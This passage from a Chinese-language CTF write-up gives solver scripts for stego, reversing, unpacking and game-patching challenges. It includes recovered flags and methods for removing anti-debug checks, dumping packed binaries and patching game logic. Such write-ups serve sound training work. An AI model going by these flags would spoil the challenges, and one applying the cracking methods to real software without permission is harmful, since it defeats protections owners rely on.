os.mkdir(pngDir)
try:
while True:
current = im.tell()
im.save(pngDir + '/' + str(current) + '.png')
im.seek(current + 1)
except EOFError:
pass
为了之后更好的识别颜色,顺便做一个剪切
def cut(idx):
fileName = './Traffic_Light/' + str(idx) + '.png'
im = Image.open(fileName)
x = 90
y = 30
w = 45
h = 140
region = im.crop((x, y, x+w, y+h))
newFileName ='./Traffic_Light/' + str(idx) + '_modify.png'
region.save(newFileName)
可以得到这样的图像
由于颜色比较简单,可以直接用识别图片主色调来进行颜色的区分,识别颜色,分别对应01分隔符。
def get_dominant_color(idx):
fileName = './Traffic_Light/' + str(idx) + '_modify.png'
image = Image.open(fileName)
image = image.convert('RGBA')
image.thumbnail((200, 200))
max_score = 0
dominant_color = 0
for count, (r, g, b, a) in image.getcolors(image.size[0] * image.size[1]):
# 跳过纯黑色
if a == 0:
continue
saturation = colorsys.rgb_to_hsv(r / 255.0, g / 255.0, b / 255.0)[1]
y = min(abs(r * 2104 + g * 4130 + b * 802 + 4096 + 131072) >> 13, 235)
y = (y - 16.0) / (235 - 16)
# 忽略高亮色
if y > 0.9:
continue
score = (saturation + 0.1) * count
if score > max_score:
max_score = score
dominant_color = (r, g, b)
#print r, g, b
if r == 61 :
#print 'green'
return 'green'
elif r == 103:
#print "red"
return 'red'
elif r == 255:
#print "===================== split ========================"
return 'yellow'
最后把01串转为可见字符
用stegsolve打开图片,发现rgb的lsb里都有点东西,顺序改成bgr发现了jpg的头,于是提取出来,删掉前几个没用的byte,打开图片,发现一堆长短杠和+。猜测+是分隔符,长短杠分别是二进制的1和0,转换一下果然得到flag:
l=['1010011','1110100','110011','1100111','110100','1101110','110000','1100111','1110010','110100','1110000','1101000','1111001','1011111','110001','1110011','1011111','110001','1101110','1110100','110011','1110010','110011','1110011','1110100','110001','1101110','1100111']
s=''
for i in l:
s+=chr((int(i,2)))
#St3g4n0gr4phy_1s_1nt3r3st1ng
首先patch掉两个反调函数,然后后面一堆block、god block什么的逻辑逆了会发现都没有用,直接从cin开始看,首先对输入做了4轮异或,然后送进一个vm。分析vm代码,就是对输入的每一位异或了(36+i) * 2,然后与一个值比较。直接实现逆过程即可还原flag。
s=[
0x002E, 0x0026, 0x002D, 0x0029, 0x004D, 0x0067, 0x0005, 0x0044,
0x001A, 0x000E, 0x007F, 0x007F, 0x007D, 0x0065, 0x0077, 0x0024,
0x001A, 0x005D, 0x0033, 0x0051]
s2=[]
for i in range(20):
s2.append(s[i] ^ ((36+i)*2) )
for i in range(4):
for j in range(19,0,-1):
s2[j] ^= s2[j-1]
print ''.join(map(chr, s2) )
放到IDA里看一看,发现解不出来,判断是加了壳。考虑动态跑一下dump内存来脱壳。
Dump出来之后用IDA重新打开,手动c一下把数据转换成代码
一边看反编译结果一边动态调试,程序在输入追加了“hh”。有一个base64,解不出来,先不管,继续往下动态调,发现有一个写死的key,然后进行了一些加密操作,和指定Byte对比check,稍微看了一下,根据一些常数,猜是不是DES加密,写代码尝试一下,果然解出flag
>>> s=[0x27,0x42,0xAC,0xA6,0x4B,0x90,0xA4,0x7D,0x47,0x40,0xCC,0x45, 0x7F,0xA1,0x2C,0xBC,0x83,0x52,0x5E,0x51,0x60,0xF9,0xEE,0x4F,0x3D,0x68,0xDD,
0xDE,0xE8,0x74,0xFA,0x1A,0x53,0x22,0x5B,0x13,0xC7,0xE5,0x7A,0x5E,0x58,0x80, 0xB0,0x65,0x99,0xF1,0x5B,0x4F]
>>> key='hAppysad'
>>> from Crypto.Cipher import DES
>>> des=DES.new(key,DES.MODE_ECB)
>>> s=map(chr,s)
>>> s
["'", 'B', '\xac', '\xa6', 'K', '\x90', '\xa4', '}', 'G', '@', '\xcc', 'E', '\x7f', '\xa1', ',', '\xbc', '\x83', 'R', '^', 'Q', '`', '\xf9', '\xee', 'O', '=', 'h', '\xdd', '\xde', '\xe8', 't', '\xfa', '\x1a', 'S', '"', '[', '\x13', '\xc7', '\xe5', 'z', '^', 'X', '\x80', '\xb0', 'e', '\x99', '\xf1', '[', 'O']
>>> s="".join(s)
>>> s
'\'B\xac\xa6K\x90\xa4}G@\xccE\x7f\xa1,\xbc\x83R^Q`\xf9\xeeO=h\xdd\xde\xe8t\xfa\x1aS"[\x13\xc7\xe5z^X\x80\xb0e\x99\xf1[O'
>>> des.decrypt(s)
'flag{If_u_kn0w_bas364_aNd_d3S_u_Wil1_be_happY}hh'
一个游戏题,主函数中可以明显看到0%,25%,50%,75%等字符串,猜测要打通几关才能拿flag。玩了一会发现有的怪打不动,于是patch程序,把enemy::die的条件从血<=0改成>=0,然后运行游戏发现怪物都不见了23333,只有掉落的战利品。然后一路向上走就可以通关,每过一关会向secret里写4个byte的密钥,最终应该是16个byte的aes密钥。通关后要去什么爱琴海,但一直触发不了,看了下secret已经完整解出来了。重新看了下函数,发现最后打印flag需要一个end变量为1,于是patch掉再重启游戏,直接start即可得到flag: